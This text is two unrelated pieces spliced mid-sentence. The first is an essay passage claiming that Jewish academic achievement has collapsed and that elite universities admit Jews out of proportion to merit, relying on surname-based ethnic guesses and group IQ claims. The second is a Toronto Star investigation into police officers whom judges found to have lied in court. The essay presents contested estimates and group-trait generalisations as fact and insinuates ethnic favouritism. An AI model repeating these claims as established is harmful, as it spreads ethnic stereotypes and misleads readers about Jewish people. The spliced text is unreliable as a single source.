Earlier we had noted that the tests used to select NMS semifinalists actually tilted substantially against Asian students by double-weighting verbal skills and excluding visuospatial ability, but in the case of Jews this same testing-bias has exactly the opposite impact. Jewish ability tends to be exceptionally strong in its verbal component and mediocre at best in the visuospatial, so the NMS semifinalist selection methodology would seem ideally designed to absolutely maximize the number of high-scoring Jews compared to other whites or (especially) East Asians. Thus, the number of high-ability Jews we are finding should be regarded as an extreme upper bound to a more neutrally-derived total.
But suppose these estimates are correct, and Asians overall are indeed twice as likely as Jews to rank among America’s highest performing students. We must also consider that America’s Asian population is far larger in size, representing roughly 5 percent of college-age students, compared to just 1.8 percent for Jews. Therefore, assuming an admissions system based on strictest objective meritocracy, we would expect our elite academic institutions to contain nearly five Asians for every Jew; but instead, the Jews are far more numerous, in some important cases by almost a factor of two. This raises obvious suspicions about the fairness of the Ivy League admissions process.
Once again, we can turn to the enrollment figures for strictly meritocratic Caltech as a test of our estimates. The campus is located in the Los Angeles area, home to one of America’s largest and most successful Jewish communities, and Jews have traditionally been strongly drawn to the natural sciences. Indeed, at least three of Caltech’s last six presidents have been of Jewish origin, and the same is true for two of its most renowned faculty members, theoretical physics Nobel Laureates Richard Feynman and Murray Gell-Mann. But Caltech’s current undergraduates are just 5.5 percent Jewish, and the figure seems to have been around this level for some years; meanwhile, Asian enrollment is 39 percent, or seven times larger. It is intriguing that the school which admits students based on the strictest, most objective academic standards has by a very wide margin the lowest Jewish enrollment for any elite university.
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Let us next turn to the five most selective campuses of the University of California system, whose admissions standards shifted substantially toward objective meritocracy following the 1996 passage of Prop. 209. The average Jewish enrollment is just over 8 percent, or roughly one-third that of the 25 percent found at Harvard and most of the Ivy League, whose admissions standards are supposedly far tougher. Meanwhile, some 40 percent of the students on these UC campuses are Asian, a figure almost five times as high. Once again, almost no elite university in the country has a Jewish enrollment as low as the average for these highly selective UC campuses.
Another interesting example is MIT, whose students probably rank fifth in academic strength, just below the three HYP schools and Caltech, and whose admissions standards are far closer to a meritocratic ideal than is found in most elite schools, though perhaps not quite as pristine as those of its Caltech rival. Karabel notes that MIT has always had a far more meritocratic admissions system than nearby Harvard, tending to draw those students who were academic stars even if socially undistinguished. As an example, in the 1930s Feynman had been rejected by his top choice of Columbia possibly due to its Jewish quota, and instead enrolled at MIT. But today, MIT’s enrollment is just 9 percent Jewish, a figure lower than that anywhere in the Ivy League, while Asians are nearly three times as numerous, despite the school being located in one of the most heavily Jewish parts of the country.
From my own perspective, I found these statistical results surprising, even shocking.
I had always been well aware of the very heavy Jewish presence at elite academic institutions. But the underwhelming percentage of Jewish students who today achieve high scores on academic aptitude tests was totally unexpected, and very different from the impressions I had formed during my own high school and college years a generation or so ago. An examination of other available statistics seems to support my recollections and provides evidence for a dramatic recent decline in the academic performance of American Jews
The U.S. Math Olympiad began in 1974, and all the names of the top scoring students are easily available on the Internet. During the 1970s, well over 40 percent of the total were Jewish, and during the 1980s and 1990s, the fraction averaged about one-third. However, during the thirteen years since 2000, just two names out of 78 or 2.5 percent appear to be Jewish. The Putnam Exam is the most difficult and prestigious mathematics competition for American college students, with five or six Putnam winners having been selected each year since 1938. Over 40 percent of the Putnam winners prior to 1950 were Jewish, and during every decade from the 1950s through the 1990s, between 22 percent and 31 percent of the winners seem to have come from that same ethnic background. But since 2000, the percentage has dropped to under 10 percent, without a single likely Jewish name in the last seven years.
This consistent picture of stark ethnic decline recurs when we examine the statistics for the Science Talent Search, which has been selecting 40 students as national finalists for America’s most prestigious high school science award since 1942, thus providing a huge statistical dataset of over 2800 top science students. During every decade from the 1950s through the 1980s, Jewish students were consistently 22–23 percent of the recipients, with the percentage then declining to 17 percent in the 1990s, 15 percent in the 2000s, and just 7 percent since 2010. Indeed, of the thirty top ranked students over the last three years, only a single one seems likely to have been Jewish. Similarly, Jews were over one-quarter of the top students in the Physics Olympiad from 1986 to 1997, but have fallen to just 5 percent over the last decade, a result which must surely send Richard Feynman spinning in his grave.
Other science competitions provide generally consistent recent results, though without the long track record allowing useful historical comparisons. Over the last dozen years, just 8 percent of the top students in the Biology Olympiad have been Jewish, with none in the last three years. Between 1992 and 2012, only 11 percent of the winners of the Computing Olympiad had Jewish names, as did just 8 percent of the Siemens AP Award winners. And although I have only managed to locate the last two years of Chemistry Olympiad winners, these lists of 40 top students contained not a single probable Jewish name.
Further evidence is supplied by Weyl, who estimated that over 8 percent of the 1987 NMS semifinalists were Jewish, a figure 35 percent higher than found in today’s results. Moreover, in that period the math and verbal scores were weighted equally for qualification purposes, but after 1997 the verbal score was double-weighted, which should have produced a large rise in the number of Jewish semifinalists, given the verbal-loading of Jewish ability. But instead, today’s Jewish numbers are far below those of the late 1980s.
Taken in combination, these trends all provide powerful evidence that over the last decade or more there has been a dramatic collapse in Jewish academic achievement, at least at the high end.
Several possible explanations for this empirical result seem reasonably plausible. Although the innate potential of a group is unlikely to drop so suddenly, achievement is a function of both ability and effort, and today’s overwhelmingly affluent Jewish students may be far less diligent in their work habits or driven in their studies than were their parents or grandparents, who lived much closer to the bracing challenges of the immigrant experience. In support of this hypothesis, roughly half of the Jewish Math Olympiad winners from the last two decades have had the sort of highly distinctive names which would tend to mark them as recent immigrants from the Soviet Union or elsewhere, and such names were also very common among the top Jewish science students of the same period, even though this group represents only about 10 percent of current American Jews. Indeed, it seems quite possible that this large sudden influx of very high performing immigrant Jews from the late 1980s onward served to partially mask the rapid concurrent decline of high academic achievement among native American Jews, which otherwise would have become much more clearly evident a decade or so earlier.
This pattern of third or fourth generation American students lacking the academic drive or intensity of their forefathers is hardly surprising, nor unique to Jews. Consider the case of Japanese-Americans, who mostly arrived in America during roughly the same era. America’s Japanese have always been a high-performing group, with a strong academic tradition, and Japan’s international PISA academic scores are today among the highest in the world. But when we examine the list of California’s NMS semifinalists, less than 1 percent of the names are Japanese, roughly in line with their share of the California population. Meanwhile, Chinese, Koreans, and South Asians are 6 percent of California but contribute 50 percent of the top scoring students, an eight-fold better result, with a major likely difference being that they are overwhelmingly of recent immigrant origin. In fact, although ongoing Japanese immigration has been trivial in size, a significant fraction of the top Japanese students have the unassimilated Japanese first names that would tend to indicate they are probably drawn from that tiny group.
In his 1966 book The Creative Elite in America, Weyl used last name analysis to document a similarly remarkable collapse in achievement among America’s Puritan-descended population, which had once provided a hugely disproportionate fraction of our intellectual leadership, but for various reasons went into rapid decline from about 1900 onward. He also mentions the disappearance of the remarkable Scottish intellectual contribution to British life after about 1800. Although the evidence for both these historical parallels seems very strong, the causal factors are not entirely clear, though Weyl does provide some possible explanations.
In some respects, perhaps it was the enormously outsize Jewish academic performance of the past which was highly anomalous, and the more recent partial convergence toward white European norms which is somewhat less surprising. Over the years, claims have been widely circulated that the mean Jewish IQ is a full standard deviation—15 points—above the white average of 100, but this seems to have little basis in reality. Richard Lynn, one of the world’s foremost IQ experts, has performed an exhaustive literature review and located some 32 IQ samples of American Jews, taken from 1920 to 2008. For the first 14 studies conducted during the years 1920–1937, the Jewish IQ came out very close to the white American mean, and it was only in later decades that the average figure rose to the approximate range of 107–111.
In a previous article “Race, IQ & Wealth,” I had suggested that the IQs of ethnic groups appear to be far more malleable than many people would acknowledge, and may be particularly influenced by factors of urbanization, education, and affluence. Given that Jews have always been America’s most heavily urbanized population and became the most affluent during the decades in question, these factors may account for a substantial portion of their huge IQ rise during most of the twentieth century. But with modern electronic technology recently narrowing the gaps in social environment and educational opportunities between America’s rural and urban worlds, we might expect a portion of this difference to gradually dissipate. American Jews are certainly a high-ability population, but the innate advantage they have over other high-ability white populations is probably far smaller than is widely believed.
This conclusion is supported by the General Social Survey (GSS), an online dataset of tens of thousands of American survey responses from the last forty years which includes the Wordsum vocabulary test, a very useful IQ proxy correlating at 0.71. Converted into the corresponding IQ scores, the Wordsum-IQ of Jews is indeed quite high at 109. But Americans of English, Welsh, Scottish, Swedish, and Catholic Irish ancestry also have fairly high mean IQs of 104 or above, and their combined populations outnumber Jews by almost 15-to-1, implying that they would totally dominate the upper reaches of the white American ability distribution, even if we excluded the remaining two-thirds of all American whites, many of whose IQs are also fairly high. Furthermore, all these groups are far less highly urbanized or affluent than Jews, probably indicating that their scores are still artificially depressed to some extent. We should also remember that Jewish intellectual performance tends to be quite skewed, being exceptionally strong in the verbal subcomponent, much lower in math, and completely mediocre in visuospatial ability; thus, a completely verbal-oriented test such as Wordsum would actually tend to exaggerate Jewish IQ.
Stratifying the white American population along religious lines produces similar conclusions. An analysis of the data from the National Longitudinal Survey of Youth found that Americans raised in the Episcopal Church actually exceeded Jews in mean IQ, while several other religious categories came quite close, leading to the result that the overwhelming majority of America’s high-ability white population had a non-Jewish background.
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Finally, in the case of Jews, these assimilation- or environment-related declines in relative academic performance may have been reinforced by powerful demographic trends. For the last generation or two, typical Jewish women from successful or even ordinary families have married very late and averaged little more than a single child, while the small fraction of Jewish women who are ultra-Orthodox often marry in their teens and then produce seven or eight children. As a consequence, this extremely religious subpopulation has been doubling in size every twenty years, and now easily exceeds 10 percent of the total, including a far higher percentage of younger Jews. But ultra-Orthodox Jews have generally been academically mediocre, often with enormously high rates of poverty and government dependency. Therefore, the combination of these two radically different trends of Jewish reproduction has acted to stabilize the total number of Jewish youngsters, while probably producing a sharp drop in their average academic achievement.
Although the relative importance of these individual factors behind Jewish academic decline is unclear, the decline itself seems an unmistakable empirical fact, and the widespread unawareness of this fact has had important social consequences.
My casual mental image of today’s top American students is based upon my memories of a generation or so ago, when Jewish students, sometimes including myself, regularly took home a quarter or more of the highest national honors on standardized tests or in prestigious academic competitions; thus, it seemed perfectly reasonable that Harvard and most of the other Ivy League schools might be 25 percent Jewish, based on meritocracy. But the objective evidence indicates that in present day America, only about 6 percent of our top students are Jewish, which now renders such very high Jewish enrollments at elite universities totally absurd and ridiculous. I strongly suspect that a similar time lag effect is responsible for the apparent confusion in many others who have considered the topic.
For example, throughout his very detailed book, Karabel always seems to automatically identify increasing Jewish enrollments with academic meritocracy, and Jewish declines with bias or discrimination, retaining this assumption even when his discussion moves into the 1990s and 2000s. He was born in 1950, graduated Harvard in 1972, and returned there to earn his Ph.D. in 1977, so this may indeed have been the reality during his formative years. But he seems strikingly unaware that the world has changed since then, and that over the last decade or two, meritocracy and Jewish numbers have become opposing forces: the stricter the meritocratic standard, the fewer the Jews admitted.
Most of my preceding analysis has focused on the comparison of Asians with Jews, and I have pointed out that based on factors of objective academic performance and population size, we would expect Asians to outnumber Jews by perhaps five to one at our top national universities; instead, the total Jewish numbers across the Ivy League are actually 40 percent higher. This implies that Jewish enrollment is roughly 600 percent greater relative to Asians than should be expected under a strictly meritocratic admissions system.
Obviously, all these types of analysis may be applied just as easily to a comparison of Jews with non-Jewish whites, and the results turn out to be equally striking. The key factor is that although Jewish academic achievement has apparently plummeted in recent decades, non-Jewish whites seem to have remained relatively unchanged in their performance, which might be expected in such a large and diverse population. As a consequence, the relative proportions of top-performing students have undergone a dramatic shift.
We must bear in mind that the official U.S. Census category of “Non-Hispanic white” (which I will henceforth label “white”) is something of an ethnic hodgepodge, encompassing all the various white European ancestry groups, as well as a substantial admixture of North Africans, Middle Easterners, Iranians, Turks, Armenians, and Afghans. It amounts to everyone who is not black, Hispanic, Asian, or American Indian, and currently includes an estimated 63 percent of all Americans.
Determining the number of whites among NMS semifinalists or winners of various academic competitions is relatively easy. Both Asian and Hispanic names are quite distinctive, and their numbers can be estimated by the methods already discussed. Meanwhile, blacks are substantially outnumbered by Hispanics and they have much weaker academic performance, so they would produce far fewer very high scoring students. Therefore, we can approximate the number of whites by merely subtracting the number of Asian and Hispanic names as well as an estimated black total based on the latter figure, and then determine the number of white Gentiles by also subtracting the Jewish total.
Once we do this and compare the Jewish and non-Jewish white totals for various lists of top academic performers, we notice a striking pattern, with the historical ratios once ranging from near-equality to about one-in-four up until the recent collapse in Jewish performance. For example, among Math Olympiad winners, white Gentiles scarcely outnumbered Jews during the 1970s, and held only a three-to-two edge during the 1980s and 1990s, but since 2000 have become over fifteen times as numerous. Between 1938 and 1999, Putnam Exam winners had averaged about two white Gentiles for every Jew, with the ratios for each decade oscillating between 1.5 and 3.0, then rising to nearly 5-to-1 during 2001–2005, and without a single Jewish name on the winner list from 2006 onward.
The elite science competitions follow a broadly similar pattern. Non-Jewish whites had only outnumbered Jews 2-to-1 among the Physics Olympiad winners during 1986–1997, but the ratio rose to at least 7-to-1 during 2002–2012. Meanwhile, white Gentiles were more numerous by nearly 6-to-1 among 1992–2012 Computing Olympiad winners, 4-to-1 among the 2002–2011 Siemens AP Award winners, and over 3-to-1 among 2003–2012 Biology Olympiad champions. Across the sixty-odd years of America’s Science Talent Search, Jews had regularly been named finalists at a relative rate fifteen- or even twenty-times that of their white Gentile classmates, but over the last decade or so, this has dropped by half.
The evidence of the recent NMS semifinalist lists seems the most conclusive of all, given the huge statistical sample sizes involved. As discussed earlier, these students constitute roughly the highest 0.5 percent in academic ability, the top 16,000 high school seniors who should be enrolling at the Ivy League and America’s other most elite academic universities. In California, white Gentile names outnumber Jewish ones by over 8-to-1; in Texas, over 20-to-1; in Florida and Illinois, around 9-to-1. Even in New York, America’s most heavily Jewish state, there are more than two high-ability white Gentile students for every Jewish one. Based on the overall distribution of America’s population, it appears that approximately 65–70 percent of America’s highest ability students are non-Jewish whites, well over ten times the Jewish total of under 6 percent.
Needless to say, these proportions are considerably different from what we actually find among the admitted students at Harvard and its elite peers, which today serve as a direct funnel to the commanding heights of American academics, law, business, and finance. Based on reported statistics, Jews approximately match or even outnumber non-Jewish whites at Harvard and most of the other Ivy League schools, which seems wildly disproportionate. Indeed, the official statistics indicate that non-Jewish whites at Harvard are America’s most under-represented population group, enrolled at a much lower fraction of their national population than blacks or Hispanics, despite having far higher academic test scores.
When examining statistical evidence, the proper aggregation of data is critical. Consider the ratio of the recent 2007–2011 enrollment of Asian students at Harvard relative to their estimated share of America’s recent NMS semifinalists, a reasonable proxy for the high-ability college-age population, and compare this result to the corresponding figure for whites. The Asian ratio is 63 percent, slightly above the white ratio of 61 percent, with both these figures being considerably below parity due to the substantial presence of under-represented racial minorities such as blacks and Hispanics, foreign students, and students of unreported race. Thus, there appears to be no evidence for racial bias against Asians, even excluding the race-neutral impact of athletic recruitment, legacy admissions, and geographical diversity.
However, if we separate out the Jewish students, their ratio turns out to be 435 percent, while the residual ratio for non-Jewish whites drops to just 28 percent, less than half of even the Asian figure. As a consequence, Asians appear under-represented relative to Jews by a factor of seven, while non-Jewish whites are by far the most under-represented group of all, despite any benefits they might receive from athletic, legacy, or geographical distribution factors. The rest of the Ivy League tends to follow a similar pattern, with the overall Jewish ratio being 381 percent, the Asian figure at 62 percent, and the ratio for non-Jewish whites a low 35 percent, all relative to their number of high-ability college-age students.
Just as striking as these wildly disproportionate current numbers have been the longer enrollment trends. In the three decades since I graduated Harvard, the presence of white Gentiles has dropped by as much as 70 percent, despite no remotely comparable decline in the relative size or academic performance of that population; meanwhile, the percentage of Jewish students has actually increased. This period certainly saw a very rapid rise in the number of Asian, Hispanic, and foreign students, as well as some increase in blacks. But it seems rather odd that all of these other gains would have come at the expense of whites of Christian background, and none at the expense of Jews.
Furthermore, the Harvard enrollment changes over the last decade have been even more unusual when we compare them to changes in the underlying demographics. Between 2000 and 2011, the relative percentage of college-age blacks enrolled at Harvard dropped by 18 percent, along with declines of 13 percent for Asians and 11 percent for Hispanics, while only whites increased, expanding their relative enrollment by 16 percent. However, this is merely an optical illusion: in fact, the figure for non-Jewish whites slightly declined, while the relative enrollment of Jews increased by over 35 percent, probably reaching the highest level in Harvard’s entire history. Thus, the relative presence of Jews rose sharply while that of all other groups declined, and this occurred during exactly the period when the once-remarkable academic performance of Jewish high school students seemed to suddenly collapse.
Most of the other Ivy League schools appear to follow a fairly similar trajectory. Between 1980 and 2011, the official figures indicate that non-Jewish white enrollment dropped by 63 percent at Yale, 44 percent at Princeton, 52 percent at Dartmouth, 69 percent at Columbia, 62 percent at Cornell, 66 percent at Penn, and 64 percent at Brown. If we confine our attention to the last decade or so, the relative proportion of college-age non-Jewish whites enrolled at Yale has dropped 23 percent since 2000, with drops of 28 percent at Princeton, 18 percent at Dartmouth, 19 percent at Columbia and Penn, 24 percent at Cornell, and 23 percent at Brown. For most of these universities, non-white groups have followed a mixed pattern, mostly increasing but with some substantial drops. I have only located yearly Jewish enrollment percentages back to 2006, but during the six years since then, there is a uniform pattern of often substantial rises: increases of roughly 25 percent at Yale, 45 percent at Columbia, 10 percent at Cornell, 15 percent at Brown, and no declines anywhere.
Fourteen years ago I published a widely-discussed column in the Wall Street Journal highlighting some of the absurdities of our affirmative action system in higher education. In particular, I pointed out that although Jews and Asians then totaled merely 5 percent of the American population, they occupied nearly 50 percent of the slots at Harvard and most of the other elite Ivies, while non-Jewish whites were left as the most under-represented student population, with relative numbers below those of blacks or Hispanics. Since then Jewish academic achievement has seemingly collapsed but relative Jewish enrollment in the Ivies has generally risen, while the exact opposite combination has occurred for both Asians and non-Jewish whites. I find this a strange and unexpected development.
It is important to recognize that all of these enrollment statistics are far less precise than we might ideally desire. As mentioned earlier, over the last couple of decades widespread perceptions of racial bias in admissions have led a significant number of students to refuse to reveal their race, which the official statistics classify as “race unknown.” This group almost certainly consists of Asians and whites, but it is impossible for us to determine the relative proportions, and without this information our above estimates can only be approximate.
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Similarly, nearly all our figures on Jewish enrollment were ultimately drawn from the estimates of Hillel, the national Jewish campus organization, and these are obviously approximate. However, the Hillel data is the best we possess for recent decades, and is regularly used by the New York Times and other prominent media outlets, while also serving as the basis for much of Karabel’s award-winning scholarship. Furthermore, so long as any latent bias in the data remained relatively constant, we could still correctly analyze changes over time.
For these sorts of reasons, any of the individual figures provided above should be treated with great caution, but the overall pattern of enrollments—statistics compiled over years and decades and across numerous different universities—seems likely to provide an accurate description of reality.
We are therefore faced with the clear conundrum that Jewish students seem to constitute roughly 6 percent of America’s highest-ability high school graduates and non-Jewish whites around 65–70 percent, but these relative ratios differ by perhaps 1000 percent from the enrollments we actually find at Harvard and the other academic institutions which select America’s future elites. Meanwhile, an ethnic distribution much closer to this apparent ability-ratio is found at Caltech, whose admissions are purely meritocratic, unlike the completely opaque, subjective, and discretionary Ivy League system so effectively described by Karabel, Golden, and others.
One obvious explanatory factor is that the Ivy League is located in the Northeast, a region of the country in which the Jewish fraction of the population is more than twice the national average. However, these schools also constitute America’s leading national universities, so their geographical intake is quite broad, with Harvard drawing less than 40 percent of its American students from its own region, and the others similarly tending to have a nationally distributed enrollment. So this factor would probably explain only a small portion of the discrepancy. Furthermore, MIT utilizes a considerably more meritocratic and objective admissions system than Harvard, and although located just a few miles away has a ratio of Jewish to non-Jewish whites which differs by nearly a factor of four in favor of the latter compared to its crosstown rival.
By the late 1960s Jewish students had become a substantial fraction of most Ivy League schools and today some of their children may be benefiting from legacies. But until about twenty-five years ago, white Gentiles outnumbered their Jewish classmates perhaps as much as 3-to-1, so if anything we might expect the admissions impact of legacies to still favor the former group. Anyway, the research of Espenshade and his colleagues have shown that being a legacy provides an admissions advantage in the range of 19–26 percent, while we are attempting to explain enrollment differences of roughly 1000 percent.
American Jews are certainly more affluent than most other groups, but all Ivy League universities admit their American students on a “need-blind” basis, so perceptions of ability to pay cannot be a factor, even if any evidence existed that Jewish applicants were actually wealthier than their non-Jewish counterparts. Many Jewish alumni are very generous to their alma maters, but so are non-Jews, and indeed nine of the ten largest university donations in history have come from non-Jewish individuals, nearly all in the last fifteen years; thus, mercenary hopes of large future bequests would probably not be influencing these skewed admissions.
Perhaps Jews simply apply to these schools in far greater relative numbers, with successful, educationally-ambitious Jewish families being much more likely to encourage their bright children to aim at the Ivies than the parents of equally bright non-Jews. However, since these elite schools release no information regarding the ethnic or racial skew of their applications, we have no evidence for this hypothesis. And why would high-ability non-Jews be 600 percent or 800 percent more likely to apply to Caltech and MIT than to those other elite schools, which tend to have a far higher national profile?
Anyway, the numbers alone render this explanation implausible. Each year, the Ivy League colleges enroll almost 10,000 American whites and Asians, of whom over 3000 are Jewish. Meanwhile, each year the NMS Corporation selects and publicly names America’s highest-ability 16,000 graduating seniors; of these, fewer than 1000 are Jewish, while almost 15,000 are non-Jewish whites and Asians. Even if every single one of these high-ability Jewish students applied to and enrolled at the Ivy League—with none going to any of America’s other 3000 colleges—Ivy League admissions officers are obviously still dipping rather deep into the lower reaches of the Jewish ability-pool, instead of easily drawing from some 15,000 other publicly identified candidates of far greater ability but different ethnicity. Why would these universities not simply send out inexpensive mailings to these 15,000 top students, encouraging them to apply, especially since their geographical, ethnic, and cultural backgrounds might help to considerably “diversify” undergraduate enrollments, while greatly raising the average student test scores by which these universities supposedly live or die in the competitive college-rankings.
The situation becomes even stranger when we focus on Harvard, which this year accepted fewer than 6 percent of over 34,000 applicants and whose offers of admission are seldom refused. Each Harvard class includes roughly 400 Jews and 800 Asians and non-Jewish whites; this total represents over 40 percent of America’s highest-ability Jewish students, but merely 5 percent of their equally high-ability non-Jewish peers. It is quite possible that a larger percentage of these top Jewish students apply and decide to attend than similar members from these other groups, but it seems wildly implausible that such causes could account for roughly an eight-fold difference in apparent admissions outcome. Harvard’s stated “holistic” admissions policy explicitly takes into account numerous personal characteristics other than straight academic ability, including sports and musical talent. But it seems very unlikely that any remotely neutral application of these principles could produce admissions results whose ethnic skew differs so widely from the underlying meritocratic ratios.
One datapoint strengthening this suspicion of admissions bias has been the plunge in the number of Harvard’s entering National Merit Scholars, a particularly select ability group, which dropped by almost 40 percent between 2002 and 2011, falling from 396 to 248. This exact period saw a collapse in Jewish academic achievement combined with a sharp rise in Jewish Harvard admissions, which together might easily help to explain Harvard’s strange decline in this important measure of highest student quality.
Harvard could obviously fill its entire class with high-scoring valedictorians or National Merit Scholars but chooses not to do so. In 2003, Harvard rejected well over half of all applicants with perfect SAT scores, up from rejecting a quarter a few years earlier, and in 2010 Princeton acknowledged it also admitted only about half. According to Harvard’s dean of admissions, “With the SAT, small differences of 50 or 100 points or more have no significant effect on admissions decisions.” In fact, a former Senior Admissions Officer at Harvard has claimed that by the mid-2000s as few as 5 percent of the students at highly selective universities such as his own were admitted purely based on academic merit.
It is important to note that these current rejection rates of top scoring applicants are vastly higher than during the 1950s or 1960s, when Harvard admitted six of every seven such students and Princeton adopted a 1959 policy in which no high scoring applicant could be refused admission without a detailed review by a faculty committee. An obvious indication of Karabel’s obtuseness is that he describes and condemns the anti-meritocratic policies of the past without apparently noticing that they have actually become far worse today. An admissions framework in which academic merit is not the prime consideration may |
, the Star found the cost of the deception to community safety across the country is high.
One Toronto officer, Det. Scott Aikman, has twice been accused of being untruthful by judges in different cases. The story of Aikman, and the two cases that crumbled, will be in Friday's Star.
A nationwide Toronto Star investigation shows judges are frequently finding that police officers lie under oath. The dishonesty comes with little consequence to the officer, particularly in provinces such as Ontario where there is no law or policy requiring a prosecutor or police force to investigate the courtroom conduct.
Backhouse was trying to send a message, one being repeated by concerned judges in courtrooms across the country: Police dishonesty makes a mockery of the courts, undermines the public's trust in the justice system and must be condemned. There is little evidence anyone is listening.
Some suspects, freed following police lies, continue to get in trouble with the law.
Judges have discarded as evidence at least $40 million worth of cocaine, meth, ecstasy and weed in recent years.
The Star attempted to contact all officers named in this series of articles. Some spoke to the newspaper. Most did not.
One of the biggest prosecutions involved Chuck Wan Leong, accused of operating an ecstasy lab in his two-storey brick house. Police found $16-million worth of ecstasy, methamphetamines and ketamine in the basement.
In that case, Justice Nola Garton said various parts of York Region Det. Robert Worthman's testimony were “inconsistent and inaccurate,” “exaggerated,” “almost inconceivable,” an “embellishment,” “misleading,” “nonsensical” and “patently absurd.” The judge tossed the evidence and Leong walked free.
Worthman has been charged by his force with deceit and discreditable conduct.
Judges have found officers lie in court to cover up shoddy and illegal investigation techniques, excessive force, and racial profiling.
The majority of the cases reviewed by the Star involve police officers who, out of laziness, overzealousness or poor training, violated laws that protect suspects from abuse of police power, found damning evidence and then lied to cover up their flawed investigation.
“It's the coverup that kills,” said an Ontario judge, who requested anonymity to preserve the appearance of impartiality necessary for his job.
Police officers have a difficult job and usually know who the criminals are, the judge said, but some play hunches to bust suspects, then “make stuff up” to patch their investigations.
“Police will end up lying on the witness stand. That's just a reality... We (judges) know this happens. We talk about it all the time.”
While police officers can randomly stop vehicles to check vehicle safety or a driver's paperwork, they must otherwise have reasonable grounds to believe an offence is being committed to stop a car, detain a person or search a house. Mere suspicion is not enough.
Suspicion is all RCMP Const. Brian Sprott had. In January 2009, on a rainy night in Maple Ridge, B.C., Sprott and his partner sat in their unmarked vehicle and watched a suspected drug house on Dewdney Trunk Rd. Then, on a hunch, they followed Chris Xiong after he pulled out of the driveway. This was a drug investigation, not a vehicle or driver safety check.
The Mounties stopped Xiong and found 12 individually wrapped, $40 crack rocks, three cellphones and more than $800 in cash. Sprott testified at trial that he stopped Xiong for speeding.
The alleged speeding, as well as Sprott's claim that crack rocks fell onto the pavement when the suspect exited the vehicle, gave the Mounties their reasonable grounds.
But Sprott had earlier testified during a preliminary hearing that he intended to stop Xiong before he allegedly sped from the house. The Mountie was asked if his answers at the preliminary hearing were true and “(he) answered rather remarkably, ‘At the time, they were true,'” Justice Kathleen Ker noted.
She added: “Const. Sprott... appeared evasive and uncomfortable when questioned on this point.” On the witness stand, the Mountie, who never issued Xiong a speeding ticket, shrugged and awkwardly grinned.
“There is a legitimate public interest in having police officers provide their evidence to the court in an accurate and careful manner,” said Ker, who slammed the officer's “flip-flop,” ruled there was no legitimate reason to stop Xiong's car, tossed the evidence and let the suspect walk.
Sprott could have saved himself and his force the embarrassment with proper police work, such as continued surveillance of the house or car.
These bogus traffic stops and warrantless searches have led to wasteful prosecutions that tied up the taxpayer-funded courts and put alleged criminals back on the street.
Though the judges in these cases recognize that such large seizures of drugs, loaded guns and “highly reliable” proof of other serious crimes “cry out for a trial on the merits,” they find the police misconduct the greater sin. Angered at police lies in his courtroom, Justice Peter Hambly explained his difficult decision to stay charges against two men accused of operating a $16-million marijuana grow-op in Niagara Region:
“For the people involved in it to go unpunished leaves a sense of betrayal in hard-working, law-abiding people,” Hambly said, but he added: “If police lying is tolerated by the courts, they will soon lose the respect of the community.”
Hambly's decision is being appealed.
• Some of the words judges used to describe police evidence and testimony were “lie,” “fabricate,” “evasive,” “absurd,” “ridiculous,” “subversive,” “disturbing” and “pure fiction.”
• Two officers — one in Victoria, the other a Toronto detective — have each misled the court in two separate cases.
• The chief of a suburban Winnipeg police force was charged with perjury and his force taken over by the RCMP after he allegedly lied to cover up details of his former partner's role in a fatal drunk driving accident.
• In several cases, officers assaulted a suspect, then began their coverup by charging their victim with assaulting and obstructing police. Some of the victims were guilty of nothing more than a bad attitude.
• Racial profiling, and the subsequent police deception meant to hide the misconduct from public view, cost the people of 100 Mile House, B.C., the prosecution of Zai Chong Huang and the 57 marijuana plants found in his Dodge pickup by RCMP Const. Berze.
Berze testified he stopped Huang's truck because it swerved in its own lane. The judge noted that Berze followed Huang for many kilometres before the alleged swerve. For this reason, and because of the wording and emotion of Berze's interview of Huang after the arrest, the judge found the swerve was a “pretext,” and that Berze likely saw Huang at a gas station earlier in the night, noticed he was Asian and assumed he was involved in organized crime.
“Const. Berze was being untruthful with the court,” said B.C. Judge Elizabeth Bayliff.
The Star found 28 cases since 2005 that involved a total of 34 Toronto officers determined by judges to have misled the court.
Toronto Police Services Board chair Alok Mukherjee told the Star he has raised the issue with senior police officials and has been met with “a certain frustration and defensiveness. They'll say, ‘The officer was being diligent and the judge was more interested in the Charter rights of a criminal than the fact that the officer found a gun, and they let that person go.'”
Mukherjee added, “I have some degree of frustration because I believe judges should be listened to.”
In a combative letter to the Star, Toronto police spokesperson Mark Pugash equated the language used by judges in the cases reviewed by the Star to “throwaway comments unsupported by evidence.”
“You either don't understand, or you don't want your readers to understand, the fundamental distinction between a judge's comments and a judge's rulings,” Pugash continued. “Without an understanding of such a basic point, your story cannot be taken seriously.”
“A judge can comment on anything he or she wishes. Such comment, however, does not amount to a finding of guilt,” Pugash said.
“The criminal justice system works on evidence, on examination, cross-examination and decision. It does not work on throwaway comments unsupported by evidence.”
Pugash said the onus is on defence lawyers, prosecutors and judges to report concerns over an officer's testimony to police for investigation.
The cases in the Star study show judges painstakingly reviewed and deconstructed the facts, testimony and physical evidence presented in court, and concluded that officers lied.
One reason is that not all judgments are disseminated to the public.
Another reason, several sources say, is that when confronted with police dishonesty, some judges are reluctant to call it by its name, instead choosing innocuous language when assessing flawed officer testimony.
“It's difficult to accuse someone who works so hard in the public interest of misleading the court,” said the Ontario judge interviewed by the Star.
Some lies, though, cannot escape the spotlight, especially when video or audio tells the unadulterated truth.
Video shot by civilian eyewitnesses exposed the lies of two Calgary officers who beat Jason Arkinstall while he was handcuffed and then charged him with obstructing, threatening and assaulting an officer.
The video, shot after 3 a.m. on Aug. 31, 2008, the weekend of a tattoo convention, shows Const. Brant Derrick smacking Arkinstall in the back of his head and throwing him head first and onto his stomach in a police van's rear caged compartment. Arkinstall was thrown with such force his flailing legs almost hit the van roof. “In an obvious burst of anger,” Judge Terry Semenuk said, Derrick slammed the van doors on Arkinstall's leg.
Semenuk acquitted Arkinstall of threatening Derrick. The other two charges were dropped before trial. The officers, the judge said, were “unreliable and not credible.”
Judge Semenuk was understating.
In court, before Derrick knew the video existed, Arkinstall's lawyer asked him if he struck Arkinstall before throwing him into the van and slamming the van door.
Derrick: “It didn't happen.”
Lawyer: “Didn't happen?”
Derrick: “No.”
Lawyer: “You're sure of that.”
Derrick: “Yes. I'm sure of that.”
“The officers fabricated their story. They did as they felt. They lied,” Mattison says outside the courtroom. “They go to school for training. (Someone) should ensure the police are not breaking their own code.”
Mattison, 26, sees the judge in the hallway.
“Thank you, miss,” he says but gets no response as she passes through a door and into an office.
David Bruser can be reached at 416-869-4282 or dbruser@thestar.ca.
